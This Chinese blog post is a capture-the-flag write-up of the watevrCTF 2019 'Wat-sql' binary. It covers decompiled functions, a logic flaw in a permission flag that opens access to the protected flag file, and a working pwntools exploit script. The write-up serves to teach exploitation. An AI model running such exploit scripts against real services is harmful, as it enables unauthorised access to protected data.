当前位置: 首页 > ds >正文

NSSCTF [watevrCTF 2019]Wat-sql

90.[watevrCTF 2019]Wat-sql(逻辑漏洞)

[watevrCTF 2019]Wat-sql

(1)

1.准备
motaly@motaly-VMware-Virtual-Platform:~$ file sql
sql: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=69633004c9f0c7a83f48dd5d1bdad5b617795c81, stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=sql
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols	  No	0		3		sql

开了Canary和NX保护

2.ida分析
main函数
void __fastcall main(int a1, char **a2, char **a3)
{s2 = (char *)malloc(0x20uLL);signal(14, (__sighandler_t)handler);alarm(0x28u);sub_40128B();if ( *((_DWORD *)s2 + 8) != 7955827 )exit(0);puts("Welcome to wat-sql!");puts("This project was made as an extention to the super successful project, sabataD!");puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!");sub_40115F();
}

看到这里开头有一个sub_40128B函数
只有满足sub_40128B函数中的限制条件后,才会继续运行程序
最后运行sub_40115F函数

sub_40128B函数
int sub_40128B()
{printf("%s", "Demo activation code: ");fflush(stdout);fgets(s2, 36, stdin);if ( !strcmp("watevr-sql2019-demo-code-admin", s2) && *((_DWORD *)s2 + 8) == 7955827 )return puts("Demo access granted!");elsereturn puts("Demo access not granted!");
}

这里先是一个读取,读取最大36个字符给s2
在下面是if判断
先比较s2是否与watevr-sql2019-demo-code-admin是否相同
在验证s2的第33-36位是否为7955827(0x796573)
(第33-36位的原因是:
这里把s2转换成DWORD*类型(4 字节指针),并偏移8个DWORD(即 32 字节),*((_DWORD *)s2 + 8)指向s2 + 8×4 = s2 + 32(第 33 字节))
知识点:
DWORD 是一个 typedef 类型,在不同的编程环境下,其具体定义可能有所不同,但一般而言:

  • 它表示 “双字”(Double Word)。
  • 长度为 32 位,也就是 4 字节,相当于unsigned int
  • 若代码中采用_DWORD这种写法,往往是自定义的类型别名,例子:
 typedef unsigned int _DWORD; // 32位无符号整数

DWORD* 是指向DWORD类型的指针,它具备以下特点:

  • 内存访问:借助该指针能够访问 4 字节的数据。
  • 指针运算:当指针进行加减操作时,步长为 4 字节。
  • 常见用途:多用于处理二进制数据、内存块或者 32 位数值数组。
sub_40115F函数
void sub_40115F()
{while ( 1 ){while ( 1 ){printf("%s", "Query: ");fflush(stdout);fgets(haystack, 20, stdin);if ( !strstr(haystack, "read") )break;if ( ++dword_602100 > 2 ){printf("You have exhausted the request limit for your wat-sql demo!");__asm { retn }}sub_400E30();}if ( strstr(haystack, "write") ){sub_400FB7();if ( ++dword_602100 > 2 ){printf("You have exhausted the request limit for your wat-sql demo!");__asm { retn }}}else{puts("Unrecognised command!");}}
}

这里进入循环,有一个读取输入点给haystack,选择read还是write,并会记录两者的总调用次数,超过两次会拒绝访问
先看选择read时,会调用sub_400E30函数
再看选择write时,会调用sub_400FB7函数

read
int sub_400E30()
{int result; // eaxprintf("%s", "database to read from: ");fflush(stdout);fgets(name, 100, stdin);strtok(name, "\n");if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ){result = puts("You are not allowed access to that database!");dword_6020FC = 0;}else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}}return result;
}

先读取一个输入给name,并移除换行符
在下面用if判断对读取的name进行判断
第一条:
检查name中是否有flag,是否有字符*(42 是*的 ASCII 码值),是否有字符?(63 是?的 ASCII 码值),三个条件中的任意一个满足,结果就为真
第二条:
检查权限状态,!dword_6020FC意味着当该变量的值为 0 时,结果就为真
这里会有三种情况:
1.无权限(dword_6020FC=0),无限制字符,会是这里

{return puts("Tried to open non-existing database");}

2.无权限(dword_6020FC=0),输入限制字符,会是这里

{result = puts("You are not allowed access to that database!");dword_6020FC = 0;}

3.只有有权限(dword_6020FC=1),再输入限制字符,才会到下面输入flag,得到flag数据库中的内容

else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}

这个函数的这里是整个程序的关键

 else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}

是一个逻辑漏洞
当我们没有输入上面的限制字符,只是没有权限(也就是随便输入了一段字符串)时,就会到这里,他直接给了权限

dword_6020FC = 1;

此时我们再次选择read函数,并且输入flag,有了权限,会跳转到这里

else{printf("%s", "database to read: ");fflush(stdout);fgets(nptr, 7, stdin);dword_6022A0 = atoi(nptr) + 1;pthread_create(&th, 0LL, start_routine, 0LL);result = pthread_join(th, 0LL);dword_6020FC = 0;}

我们输入flag,就会读取flag值

write
int sub_400FB7()
{int result; // eaxprintf("%s", "database to write to: ");fflush(stdout);fgets(name, 100, stdin);strtok(name, "\n");if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ){result = puts("You are not allowed access to that database!");dword_6020FC = 0;}else{dword_6020FC = 1;if ( access(name, 0) == -1 ){return puts("Tried to open non-existing database");}else{printf("%s", "Database to write to: ");fflush(stdout);fgets(nptr, 8, stdin);printf("%s", "Data to write: ");fflush(stdout);fgets(s_0, 200, stdin);dword_6022A0 = atoi(nptr);return pthread_create(&newthread, 0LL, sub_400CE0, 0LL);}}return result;
}

这里跟read调用的函数差不多,只不过这里是写入,不是读取,所以这里没什么用

3.EXP
思路:

主要用选择read,调用的函数里存在的逻辑漏洞,来读取flag
1.先绕过选择之前的限制
2.选择read,随便输入一个name值,触发漏洞,获得权限
3.再次选择read,输入flag,进入最后的读取,输入flag,得到flag值
先输入watevr-sql2019-demo-code-admin和7955827(0x796573)绕过限制

payload=b'watevr-sql2019-demo-code-admin'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)

发现这里输入没绕过限制
 


我们地址的输入点是第33字节,这里提前了两位,所以加两位填充
接着按思路写入

payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
脚本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',24724)
io= process('/home/motaly/sql')payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573)
io.sendlineafter(b'Demo activation code:',payload)io.sendlineafter(b'Query:',b'read')
io.sendline(b'aaaa')
io.sendlineafter(b'Query:',b'read')
io.sendlineafter(b'database to read from:',b'flag')
io.sendafter(b'database to read:',b'flag')
io.interactive()

这题我本地没通,但远程是通的,连通后随便输入一个值,就能得到flag

http://www.xdnf.cn/news/8096.html

相关文章:

  • 跨境电商合规生存指南:构建三大防御体系穿越监管风暴
  • Python海龟绘图-藤蔓
  • 【笔记】PyCharm 中创建Poetry解释器
  • Datacom-hcia~Datacom-hcie学习笔记索引
  • 【2025.05】Anaconda新手安装+配置+环境创建教程
  • C++通过空间配置器实现简易String类
  • 学习路之uniapp--unipush2.0推送功能--使用
  • 什么是智能体?
  • 顺序表VS单链表
  • RuntimeError: Cannot find sufficient samples, consider increasing dataset size.
  • 【Tauri2】047——Image
  • gcc还会有自己的头文件呢?
  • CMake 跨平台构建系统详解
  • 友达15.6寸G156HAN02.3工业显示模组
  • 在Linux系统上备份另一个系统的做法
  • 数据库主从集群 + GTID 实现高可用
  • inlier_outlier
  • 视觉大模型学习总结
  • 通过 curl 精准定位问题
  • 从零开始的嵌入式学习day25
  • Java SSM与SpringBoot面试题全面解析:从基础到源码
  • 线性表数据结构-队列
  • 8:点云处理—常见的四种3D相机
  • 今日行情明日机会——20250521
  • 探索Puter:一个基于Web的轻量级“云操作系统”
  • Java基础 5.21
  • 重磅升级!Google Play商店改版上线
  • Web服务器
  • C++语言的跨平台挑战和应对策略
  • centos7 p8p1使用ip addr查看时有的时候有两个ip,有的时候只有一个ip,有一个ip快,有一个ip慢